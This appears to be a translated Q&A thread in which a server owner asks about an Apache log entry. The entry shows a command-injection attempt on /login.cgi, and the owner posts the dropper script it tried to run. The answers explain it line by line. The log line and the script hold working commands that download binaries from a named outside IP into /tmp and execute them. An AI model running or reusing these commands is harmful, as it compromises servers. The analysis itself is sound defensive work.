最近我注意到我的服务器的 apache 日志中有以下奇怪的行:
156.222.222.13 - - [08/Sep/2018:04:27:24 +0200] "GET /login.cgi?cli=aa%20aa%27;wget%20http://80.211.173.159/k%20-O%20/tmp/ks;chmod%20777%20/tmp/ks;sh%20/tmp/ks%27$ HTTP/1.1" 400 0 "-" "LMAO/2.0"
所以我制作了一个自定义的 Fail2Ban 过滤器并开始禁止请求这些 /login.cgi URL 的 IP。
但我很好奇他们想做什么,所以我提取了他们试图执行的脚本,但我似乎无法弄清楚它到底做了什么。关于删除 /var 和 /tmp 中的 arch 文件夹?
无论如何,这里是:
#!/bin/sh
u="asgknskjdgn"
bin_names="mmips mipsel arm arm7 powerpc x86_64 x86_32"
http_server="80.211.173.159"
http_port=80
cd /tmp/||cd /var/
for name in $bin_names
do
rm -rf $u
cp $SHELL $u
chmod 777 $u
>$u
wget http://$http_server:$http_port/$name -O -> $u
./$u $name
done
答案1
逐行:
#!/bin/sh
将 shell(无论是哪个)建立sh
为 shebang 行。sh%20/tmp/ks
请求中的代码将覆盖此项,因此此行将被视为普通注释并被忽略。
u="asgknskjdgn"
声明任意名称,大概是为了避免与其他文件名冲突。我不确定他们为什么不直接使用mktemp
,但也许并非所有平台都提供此功能。
bin_names="mmips mipsel arm arm7 powerpc x86_64 x86_32"
枚举几种常见的CPU架构。
http_server="80.211.173.159"
http_port=80
存在漏洞的服务器。
cd /tmp/||cd /var/
尝试将目录更改为您的 Web 服务器可能能够创建文件的位置。我相信 SELinux 会对此有所帮助,因为它对 Web 服务器可以执行的操作实施了比文件系统本身更严格的规则。
for name in $bin_names
do
对于每个 CPU 架构...
rm -rf $u
删除之前尝试过的漏洞利用程序。由于下一行,所以没有必要,因此可以忽略。
cp $SHELL $u
复制当前 shell 可执行文件 ( /bin/sh
)。由于 next 之后还有一行,因此可以忽略。
chmod 777 $u
使每个人都可以完全访问新文件。这应该在命令之后wget
,这要么是 shell 脚本新手的标志,要么是一种误导技术。
>$u
清空文件。由于下一行,所以毫无意义。
wget http://$http_server:$http_port/$name -O -> $u
用该架构的漏洞脚本覆盖文件。-O -> $u
可以写入-O - > $u
(连字符表示下载应写入标准输出),其等效于-O $u
。
./$u $name
以架构作为第一个参数来运行漏洞脚本。
done
结束循环。
看起来这是一个简单的漏洞利用尝试脚本,尝试针对各种 CPU 平台的已知漏洞。我不知道为什么它会覆盖$u
三次,但这些操作可能只是脚本早期迭代的遗留。据推测,早期版本对漏洞进行了硬编码,而不是动态提供 - 前者更容易,但几乎可以保证随着漏洞的修补,脚本的效率会随着时间的推移而降低。
答案2
这wget
是关键的危险线。
正在for name in $bin_names
处理平台列表,并针对每个平台清除临时目录,复制一个 shell,然后使每个人都可以访问它。
然后它使用下载一个文件wget
,然后使用刚刚复制的 shell 程序执行它。
该脚本基本上是尝试下载适用于每个平台的一系列可执行文件或脚本,并将它们攻击您的系统,希望进一步危害您的系统。